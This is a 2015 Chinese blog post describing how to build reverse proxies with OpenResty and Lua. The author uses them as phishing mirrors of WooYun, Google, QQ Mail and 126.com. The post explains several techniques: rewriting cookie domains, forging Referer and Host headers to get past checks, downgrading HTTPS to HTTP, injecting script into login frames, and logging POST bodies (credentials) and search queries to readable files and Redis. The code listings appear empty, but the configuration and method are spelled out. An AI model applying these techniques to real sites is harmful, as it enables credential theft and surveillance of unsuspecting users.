openresty+lua在反向代理服务中的玩法
phith0n · 2015/06/02 10:35
0x01 起因
几天前学弟给我介绍他用nginx搭建的反代，代理了谷歌和维基百科。
由此我想到了一些邪恶的东西：反代既然是所有流量走我的服务器，那我是不是能够在中途做些手脚，达到一些有趣的目的。 openresty是一款结合了nginx和lua的全功能web服务器，我感觉其角色和tornado类似，既是一个中间件，也结合了一个后端解释器。所以，我们可以在nginx上用lua开发很多“有趣”的东西。
所以，这篇文章也是由此而来。
0x02 openresty的搭建
openresty是国人的一个开源项目，主页在http://openresty.org/ ，其核心nginx版本相对比较高（1.7.10），搭配的一些第三方模块也很丰富。
首先在官网下载openresty源码，然后我还需要一个openresty中没有的第三方库：https://github.com/yaoweibin/ngx_http_substitutions_filter_module ，同样下载下来。
编译：
|
1 2 |
|
编译选项中： —with-http_sub_module 附带http_sub_module模块，这是nginx自带的一个模块，用来替换返回的http数据包中内容。 --with-pcre-jit —with-ipv6 提供ipv6支持 —add-module=/root/requirements/ngx_http_substitutions_filter_module（此处为你下载的ngx_http_substitutions_filter_module目录） 将刚才下载的http_substitutions_filter_module模块编译进去。http_substitutions_filter_module模块是http_sub_module的加强版，它可以用正则替换，并可以多处替换。
编译安装的过程没有什么难点，很快就安装好了，openresty和luajit都默认在/usr/local/openresty目录下。nginx的二进制文件为 /usr/local/openresty/nginx/sbin/nginx。
然后像正常启动nginx一样启动之。
0x03 反代目标网站
根据目标网站的不同，反代也是有难度之分的。
比如乌云，我们可以很轻松地将其反代下来。因为乌云主站有一个特点：所有链接都是相对地址。所以我甚至不需要修改页面中任何内容即可完整反代。
一个简单demo：http://wooyun.jjfly.party ，其配置文件如下：
其中，location / 块即为反代乌云的配置块。
proxy_pass 是将请求交给上游处理，而这里的上游就是http://wooyun.com
proxy_cookie_domain是将所有cookie中的domain替换掉成自己的domain，达到能够登陆的效果。
proxy_buffering off用来关闭内存缓冲区。
proxy_set_header是一个重要的配置项，利用这个项可以修改转发时的HTTP头。比如，乌云在登录以后，修改资料的时候会验证referer，如果referer来自wooyun.jjfly.party是会提示错误的。所以我在这里用proxy_set_header将referer设置为wooyun.org域下的地址，从而绕过检查。
这样，做好了一个完美的“钓鱼网站”：
我甚至可以正常登录、修改信息：
但是并不是所有网站做反代都这样简单，比如google。谷歌是一个https的站点，所以通常也需要一个https的配置：
我申请了一个SSL证书，反代方法和乌云类似。但不同的是，谷歌会检查host，如果host不是谷歌自己的域名就会强制302跳转到www.google.com。
于是我在这里用proxy_set_header 将Host设置为www.google.com。
另外，谷歌与乌云最大的不同是，其源码中链接均为绝对路径，所以一旦用户点击其中链接后又会跳转回谷歌去。所以，我这里使用了subs_filter模块将其中的字符窜“www.google.com”替换成“xdsec.mhz.pw”。
这是反代中经常会遇到的情况。
那么，如果我并没有条件购买SSL证书怎么办？其实我们在nginx配置中也是可以将https降成http的。比如http://qq.jjfly.party就是代理的https://mail.qq.com：
另外，在xui.qq.jjfly.party（登陆框的frame）中，我利用 subs_filter </head> "<script>alert(‘xxx‘);</script></head>"; ，在html的标签前插入了一段javascript，通过这个方式，我可以简单制作一个前端的数据截取。（XSS） 打开即会弹窗：
在反代过程中，我们会常常和gzip打交道。熟悉http协议的同学应该知道，如果浏览器发送的数据包头含有Accept-Encoding: gzip，即告诉服务器：“我可以接受gzip压缩过的数据包”。这时后端就会将返回包压缩后发送，并包含返回头Content-Encoding: gzip，浏览器根据是否含有这个头对返回数据包进行解压显示。
但gzip在反代中，会造成很大问题：subs_filter替换内容时，如果内容是压缩过的，明显就不能正常替换了。同时在日志里可以看到这样的记录：
http subs filter header ignored, this may be a compressed response. while reading response header from upstream
所以网上一般处理方式是，在向上层服务器转发数据包的时候，设置proxy_set_header Accept-Encoding ””，这样后端服务器就不会压缩数据包了。
但有时候，做反代的时候会发现subs_filter的替换失效或部分失效了，我在做126.com反代的时候就遇到了这个问题。经过一段时间的研究发现，可能和缓存有关系，缓存中的数据包是gzip压缩过的，所以就算发送Accept-Encoding=””也不管用。 如下是http://126.jjfly.party 配置：
我设置了很多阻止其缓存的方法，但实际上好像并没有效果。
于是这里我想到借助lua，我想通过lua脚本在数据包返回的时候解压缩gzip数据，并代替subs_filter进行字符串的替换。
0x04 借助lua进行gzip解压与返回包修改
openresty在编译安装的时候就加入了lua支持，所以无需再对nginx进行改造。但lua下对gzip进行解压，需要借助一个库：lua-zlib（https://github.com/brimworks/lua-zlib） lua是一个和C语言结合紧密的脚本语言，实际上lua-zlib就是一个C语言编写的库，我们现在需要做的就是将其编译成一个动态链接库zlib.so，让lua来引用。
|
1 2 3 4 |
|
以上代码解释一下。首先执行cmake来生成编译配置文件。LUA_INCLUDE_DIR指定luajit的include文件夹，LUA_LIBRARIES指定luajit的lib文件夹。USE_LUAJIT=ON和USE_LUA=OFF指定我们使用的是luajit而不是lua：
再执行make && make install即可：
这时候已经编译好了zlib.so，拷贝到openresty的lib目录下即可：
cp zlib.so /usr/local/openresty/lualib/zlib.so
然后回到nginx的配置文件中，“body_filter_by_lua_file /usr/local/openresty/luasrc/repl.lua; ”这句话告诉nginx我需要把返回包的body交给repl.lua处理。 repl.lua脚本：
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 |
|
思路是个简单粗暴的方式：ngx.arg1是原始的body，我将之交给pcall（lua下的异常处理方式），利用zlib.inflate进行解压。如果不出异常说明解压成功了，就将结果覆盖ngx.arg1，抛出异常了说明body可能是没压缩的，就保持不变。 但实际操作中遇到几个困难：
数据包并不是一次全部交给repl.lua，而是被分成许多chunks。所以我判断了一下，当数据包没有接收完整的时候就先保存在一个临时文件中，直到eof，我才将之解压缩发送给客户端。
多用户情况下，我需要区分临时文件属于哪个用户。所以我将临时文件名保存在ngx.shared中，根据IP+uri判断（实际上也并不完美）。
lua生成的随机数并不会自动播种，所以我需要根据系统时间来设置随机数种子。
最后，解压完成后我直接调用callback()函数在其中对数据包进行替换，实际上就是完成之前subs_filter做的那些操作。 这样配置完成后，重启nginx，用浏览器访问将会发现一个问题：
提示是：ERR_CONTENT_DECODING_FAILED，但我用burpsuite发包会发现似乎一切正常：
其实这个问题我之前都说了，还是和gzip有关。我们看到上图，返回包中含有Content-Encoding: gzip，当我们的浏览器查看到此头后，会认为数据包是gzip压缩过的。
但实际上我们已经在lua中将其解压缩了，所以返回的数据其实是没压缩过的。最终导致浏览器解压出错，造成ERR_CONTENT_DECODING_FAILED。
怎么解决？
在nginx配置中将返回包头中的Content-Encoding设置为空就好了：
header_filter_by_lua就是在修改返回头的配置。后面可以直接编写lua脚本，将ngx.header["Content-Encoding"]=""。 这时就可以正常访问了：
0x05 利用lua截取数据
那么，lua除了能够解决上述的解压缩问题以外，还有没有什么新玩法？
这时候，理应就想到就是数据包的截获。钓鱼网站的最终目的就是获取用户的信息，我在前面说到了可以通过在前端插入javascript脚本来截取用户的输入。
但实际上这并不是最好的方案，最好的方法就是在后端截取数据包。
于是我来使用lua完成这个任务。首先在nginx的server块外面（主配置文件中）加入配置项：
|
1 2 |
|
这两项在ngx_lua_waf中也介绍过。init_by_lua_file是在nginx启动的时候加载并执行的lua脚本，access_by_lua_file是在一次HTTP请求开始前执行的lua脚本。
init_by_lua_file一般是初始化一些全局使用的函数，不多说了。说一下我写的access_by_lua_file时调用的fish.lua：
|
1 2 3 4 5 6 7 8 |
|
当host在valid_host（钓鱼站的host）中时，判断如果请求是POST请求，就将数据包的body写入/home/wwwroot/fish/ $ngx.var.host .txt 中。
这时，我访问http://126.jjfly.party/admin/126.jjfly.party.txt 就可以看到实时钓鱼的结果：
乌云也一样：http://wooyun.jjfly.party/admin/wooyun.jjfly.party.txt
QQ邮箱那个因为环境太复杂（有至少三个host需要反代），所以我宁愿选择在前端插入脚本进行劫持。
除了记录用户输入的账号密码，根据反代网站的类型不同还能截取很多有趣的东西。
比如谷歌，我可以记录访客在谷歌中查询的内容：
脚本也很简单：
|
1 2 3 4 5 6 |
|
可见，虽然你看到的流量是经过一个拥有正规的证书的https站点的。但实际上我在写lua脚本的时候根本不用在乎流量是否加密，因为openresty总会将一个明文的数据包交给我处理。
那么：Youtube，我们可以记录访客看过哪些视频；wikipedia，我们可以记录用户搜索过哪些姿势；1024，我们可以记录哪些片子的点击率最高……（笑）
自从各大国外站点陆续从互联网上消失以后，现在镜像网站越来越多。但上面的案例也说明了，镜像网站也并不一定都是正直的。
0x06 结合缓存与redis提升反代效率
当然openresty绝不仅仅是拥有这样一些简单的功能。openresty出现的定义就是一个“全功能的 Web 应用服务器”，所以php可以有的功能它都可以办到。 简单来说我们可以直接在openresty上用lua编写一个完整的动态网站。 之前我们的反代配置，有一些无法避免的缺点：
- 对gzip的支持不好，要不就是不使用压缩，要不就是需要解压，效率较低
- 没有使用缓存，请求频繁、并发量大的情况下nginx可能被上游服务器封掉。
- 后端没有进行负债均衡。
如果仅仅是钓鱼的话，效率低是问题不大的，因为访问量不会太大。但如果你想做一个使用量大的谷歌镜像之类的网站，就必须要考虑这个问题了。
如何缓解这个问题？
比如，我们可以利用谷歌全球的IP进行负载均衡：
|
1 2 3 4 5 6 7 8 9 10 11 12 |
|
另外，利用proxy_cache进行缓存，可以减少很多反代服务器向上游服务器请求的次数，防止被封。
当然，除了使用文件缓存以外，openresty还可以使用一些效率更高的服务，比如redis。
openresty自带了一个redis客户端lua-resty-redis：https://github.com/openresty/lua-resty-redis （openresty还有个RedisNginxModule模块，这个是反代redis请求的，并不是redis客户端） 不过，现今的openresty对于redis模块（包括所有依赖于socket的模块）的支持仅限于在rewrite_by_lua, access_by_lua, content_by_lua这三个context中，也就是说我们没法将返回的数据包储存于redis中，但我们可以将截取到的数据储存于redis中。
还是以谷歌为例，我将查询结果按照IP来存入redis：
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
|
再将location /result 解析到如下lua脚本中，读取redis显示结果：
|
1 2 3 4 5 6 7 8 9 10 11 12 |
|
最后效果如图所示：
0x07 总结与引用
通过这篇文章，我简单地讲了openresty一些有意思的玩法。
说白了，就是借助其能够截取数据包的能力，来做很多只有hacker才想做的事情。除了文中说到的玩法（钓鱼、用户隐私探测），我还想到一些openresty可以做的大事：
蜜罐：利用lua自动截取数据包中的0day并进行分析。
流量分析与漏洞自动化挖掘：将目标网站反代下来，正常浏览使用。lua在后端截取数据包并交给各种自动化分析工具分析。
高级服务的负载均衡：nginx 1.9后代理模块被加入内核，那时候我们甚至可以用openresty作为shadowsocks的前端服务器，作负载均衡。利用lua配置多用户shadowsocks环境，让shadowsocks多用户不再局限于端口与密码，而变成一个host+username+password认证的形式。
当然openresty的能力绝不仅仅是如此，还是最开始说的，openresty是一个全功能web服务器。
但作为一个hacker，我往往去先挖掘这里面最有意思的一些内容，也就是我上面说的。
如果诸君有兴趣深入研究，都可以和我一起探索。
本文参考资料：
https://github.com/openresty/lua-nginx-module http://openresty.org/ https://github.com/openresty/lua-resty-redis https://github.com/brimworks/lua-zlib http://wrfly.kfd.me/Nginx%E6%90%AD%E5%BB%BA%E5%8F%8D%E5%90%91%E4%BB%A3%E7%90%86%E6%9C%8D%E5%8A%A1/ （学弟的博客） http://nginx.org/en/docs/http/ngx_http_core_module.html http://www.4byte.cn/question/463833/does-lua-optimize-the-operator.html
我推荐一些nginx/lua的相关资料与我关注的lua项目：
https://github.com/leafo/moonscript https://github.com/leafo/lapis https://github.com/loveshell/ngx_lua_waf http://jb.wanpin123.com/lua/